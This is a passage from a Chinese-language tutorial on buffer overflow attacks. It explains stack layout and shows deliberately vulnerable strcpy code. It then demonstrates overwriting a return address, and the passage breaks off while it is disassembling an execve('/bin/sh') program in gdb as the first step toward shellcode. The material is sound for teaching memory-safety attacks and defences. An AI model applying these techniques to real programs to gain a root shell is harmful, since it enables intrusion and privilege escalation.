?? xiazai.txt
字號:
// Display the string received from the server.
MessageBox (NULL, szClientW, TEXT("Received From Server"), MB_OK);
}
}
// Disable receiving on ServerSock.
shutdown (ServerSock, 0x00);
// Close the socket.
closesocket (ServerSock);
WSACleanup ();
return TRUE;
}
第十章
緩沖區溢出及其攻擊
第一節 緩沖區溢出原理
緩沖區是內存中存放數據的地方。在程序試圖將數據放到計算機內存中的某一位置,但沒有足夠空間時會發生緩沖區溢出。
下面對這種技術做一個詳細的介紹。
緩沖區是程序運行時計算機內存中的一個連續的塊,它保存了給定類型的數據。問題隨著動態分配變量而出現。為了不用太多的內存,一個有動態分配變量的程序在程序運行時才決定給他們分配多少內存。
如果程序在動態分配緩沖區放入太多的數據會有什么現象?它溢出了,漏到了別的地方。一個緩沖區溢出應用程序使用這個溢出的數據將匯編語言代碼放到計算機的內存中,通常是產生root權限的地方。
單單的緩沖區溢出,并不會產生安全問題。只有將溢出送到能夠以root權限運行命令的區域才行。這樣,一個緩沖區利用程序將能運行的指令放在了有root權限的內存中,從而一旦運行這些指令,就是以root權限控制了計算機。
總結一下上面的描述。緩沖區溢出指的是一種系統攻擊的手段,通過往程序的緩沖區寫超出其長度的內容,造成緩沖區的溢出,從而破壞程序的堆棧,使程序轉而執行其它指令,以達到攻擊的目的。據統計,通過緩沖區溢出進行的攻擊占所有系統攻擊總數的80%以上。
造成緩沖區溢出的原因是程序中沒有仔細檢查用戶輸入的參數。例如下面程序:
example0.c
----------------------------------------------------------------------
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
----------------------------------------------------------------------
上面的strcpy()將直接把str中的內容copy到buffer中。這樣只要str的長度大于16,就會造成buffer的溢出,使程序運行出錯。存在象strcpy這樣的問題的標準函數還有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循環內的getc(),fgetc(),getchar()等。
在C語言中,靜態變量是分配在數據段中的,動態變量是分配在堆棧段的。緩沖區溢出是利用堆棧段的溢出的。
下面通過介紹Linux中怎樣利用緩沖區溢出來講解這一原理。最后介紹一個 eEye公司發現的IIS的一個溢出漏洞來講解一個很實際的攻擊實例。
第二節 制造緩沖區溢出
一個程序在內存中通常分為程序段,數據端和堆棧三部分。程序段里放著程序的機器碼和只讀數據,這個段通常是只讀,對它的寫操作是非法的。數據段放的是程序中的靜態數據。動態數據則通過堆棧來存放。在內存中,它們的位置如下:
/――――――――\ 內存低端
| 程序段 |
|―――――――――|
| 數據段 |
|―――――――――|
| 堆棧 |
\―――――――――/ 內存高端
堆棧是內存中的一個連續的塊。一個叫堆棧指針的寄存器(SP)指向堆棧的棧頂。堆棧的底部是一個固定地址。
堆棧有一個特點就是,后進先出。也就是說,后放入的數據第一個取出。它支持兩個操作,PUSH和POP。PUSH是將數據放到棧的頂端,POP是將棧頂的數據取出。
在高級語言中,程序函數調用和函數中的臨時變量都用到堆棧。參數的傳遞和返回值是也用到了堆棧。通常對局部變量的引用是通過給出它們對SP的偏移量來實現的。另外還有一個基址指針(FP,在Intel芯片中是BP),許多編譯器實際上是用它來引用本地變量和參數的。通常,參數的相對FP的偏移是正的,局部變量是負的。
當程序中發生函數調用時,計算機做如下操作:首先把參數壓入堆棧;然后保存指令寄存器(IP)中的內容,做為返回地址(RET);第三個放入堆棧的是基址寄存器(FP);然后把當前的棧指針(SP)拷貝到FP,做為新的基地址;最后為本地變量留出一定空間,把SP減去適當的數值。
下面舉個例子:
example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
------------------------------------------------------------------------------
為了理解程序是怎樣調用函數function()的,使用-S選項,在Linux下,用gcc進行編譯,產生匯編代碼輸出:
$ gcc -S -o example1.s example1.c
看看輸出文件中調用函數的那部分:
pushl $3
pushl $2
pushl $1
call function
這就將3個參數壓到堆棧里了,并調用function()。指令call會將指令指針IP壓入堆棧。在返回時,RET要用到這個保存的IP。
在函數中,第一要做的事是進行一些必要的處理。每個函數都必須有這些過程:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
這幾條指令將EBP,基址指針放入堆棧。然后將當前SP拷貝到EBP。然后,為本地變量分配空間,并將它們的大小從SP里減掉。由于內存分配是以字為單位的,因此,這里的buffer1用了8字節(2個字,一個字4字節)。Buffer2用了12字節(3個字)。所以這里將ESP減了20。這樣,現在,堆棧看起來應該是這樣的。
低端內存 高端內存
buffer2 buffer1 sfp ret a b c
< ------ [ ][ ][ ][ ][ ][ ][ ]
棧頂 棧底
緩沖區溢出就是在一個緩沖區里寫入過多的數據。那怎樣利用呢,看一下下面程序:
example2.c
----------------------------------------------------------------------
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
----------------------------------------------------------------------
這個程序是一個經典的緩沖區溢出編碼錯誤。函數將一個字符串不經過邊界檢查,拷貝到另一內存區域。當調用函數function()時,堆棧如下:
低內存端 buffer sfp ret *str 高內存端
< ------ [ ][ ][ ][ ]
棧頂 棧底
很明顯,程序執行的結果是"Segmentation fault (core dumped)"或類似的出錯信息。因為從buffer開始的256個字節都將被*str的內容'A'覆蓋,包括sfp, ret,甚至*str。'A'的十六進值為0x41,所以函數的返回地址變成了0x41414141, 這超出了程序的地址空間,所以出現段錯誤。
可見,緩沖區溢出允許我們改變一個函數的返回地址。通過這種方式,可以改變程序的執行順序。
第三節 通過緩沖區溢出獲得用戶SHELL
再回過頭看看第一個例子:
低端內存 高端內存
buffer2 buffer1 sfp ret a b c
< ------ [ ][ ][ ][ ][ ][ ][ ]
棧頂 棧底
將第一個example1.c的代碼改動一下,用來覆蓋返回地址,顯示怎樣能利用它來執行任意代碼。在上圖中,buffer1前面的上sfp,再前面的是ret。而且buffer1[]實際上是8個字節,因此,返回地址是從buffer1[]起始地址算起是12個字節。在程序中,將返回地址設置成跳過語句"x=1;",因此,程序的運行結果顯示成一個0,而不是1。
example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
用gdb調試。
$ gdb example3
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 < main>: pushl %ebp
0x8000491 < main+1>: movl %esp,%ebp
0x8000493 < main+3>: subl $0x4,%esp
0x8000496 < main+6>: movl $0x0,0xfffffffc(%ebp)
0x800049d < main+13>: pushl $0x3
0x800049f < main+15>: pushl $0x2
0x80004a1 < main+17>: pushl $0x1
0x80004a3 < main+19>: call 0x8000470 < function>
0x80004a8 < main+24>: addl $0xc,%esp
0x80004ab < main+27>: movl $0x1,0xfffffffc(%ebp)
0x80004b2 < main+34>: movl 0xfffffffc(%ebp),%eax
0x80004b5 < main+37>: pushl %eax
0x80004b6 < main+38>: pushl $0x80004f8
0x80004bb < main+43>: call 0x8000378 < printf>
0x80004c0 < main+48>: addl $0x8,%esp
0x80004c3 < main+51>: movl %ebp,%esp
0x80004c5 < main+53>: popl %ebp
0x80004c6 < main+54>: ret
0x80004c7 < main+55>: nop
------------------------------------------------------------------------------
可見在調用function()之前,RET的返回地址將是0x8004a8,我們想要跳過0x80004ab,去執行0x8004b2。
在能夠修改程序執行順序之后,想要執行什么程序呢?通常希望程序去執行Shell,在Shell里,就能執行希望執行的指令了。
如果在溢出的緩沖區中寫入想執行的代碼,再覆蓋返回地址(ret)的內容,使它指向緩沖區的開頭,就可以達到運行其它指令的目的。
在C語言中,調用shell的程序是這樣的:
shellcode.c
-----------------------------------------------------------------------------
#include < stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
看一下這段程序的二進制代碼:
$ gcc -o shellcode -ggdb -static shellcode.c
$ gdb shellcode
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 < main>: pushl %ebp
0x8000131 < main+1>: movl %esp,%ebp
0x8000133 < main+3>: subl $0x8,%esp
0x8000136 < main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d < main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 < main+20>: pushl $0x0
0x8000146 < main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 < main+25>: pushl %eax
0x800014a < main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d < main+29>: pushl %eax
0x800014e < main+30>: call 0x80002bc < __execve>
0x8000153 < main+35>: addl $0xc,%esp
0x8000156 < main+38>: movl %ebp,%esp
0x8000158 < main+40>: popl %ebp
0x8000159 < main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc < __execve>: pushl %ebp
0x80002bd < __execve+1>: movl %esp,%ebp
0x80002bf < __execve+3>: pushl %ebx
0x80002c0 < __execve+4>: movl $0xb,%eax
0x80002c5 < __execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 < __execve+12>: movl 0xc(%ebp),%ecx
0x80002cb < __execve+15>: movl 0x10(%ebp),%edx
0x80002ce < __execve+18>: int $0x80
0x80002d0 < __execve+20>: movl %eax,%edx
0x80002d2 < __execve+22>: testl %edx,%edx
0x80002d4 < __execve+24>: jnl 0x80002e6 < __execve+42>
0x80002d6 < __execve+26>: negl %edx
0x80002d8 < __execve+28>: pushl %edx
0x80002d9 < __execve+29>: call 0x8001a34 < __normal_errno_location>
0x80002de < __execve+34>: popl %edx
0x80002df < __execve+35>: movl %edx,(%eax)
0x80002e1 < __execve+37>: movl $0xffffffff,%eax
0x80002e6 < __execve+42>: popl %ebx
0x80002e7 < __execve+43>: movl %ebp,%esp
0x80002e9 < __execve+45>: popl %ebp
0x80002ea < __execve+46>: ret
0x80002eb < __execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------
研究一下main:
------------------------------------------------------------------------------
0x8000130 < main>: pushl %ebp
0x8000131 < main+1>: movl %esp,%ebp
0x8000133 < main+3>: subl $0x8,%esp
這段代碼是main()函數的進入代碼,為變量name留出空間。
0x8000136 < main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d < main+13>: movl $0x0,0xfffffffc(%ebp)
這里實現了name[0] = "/bin/sh";語句。
接下來是調用execve()函數。
0x8000144 < main+20>: pushl $0x0
0x8000146 < main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 < main+25>: pushl %eax
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -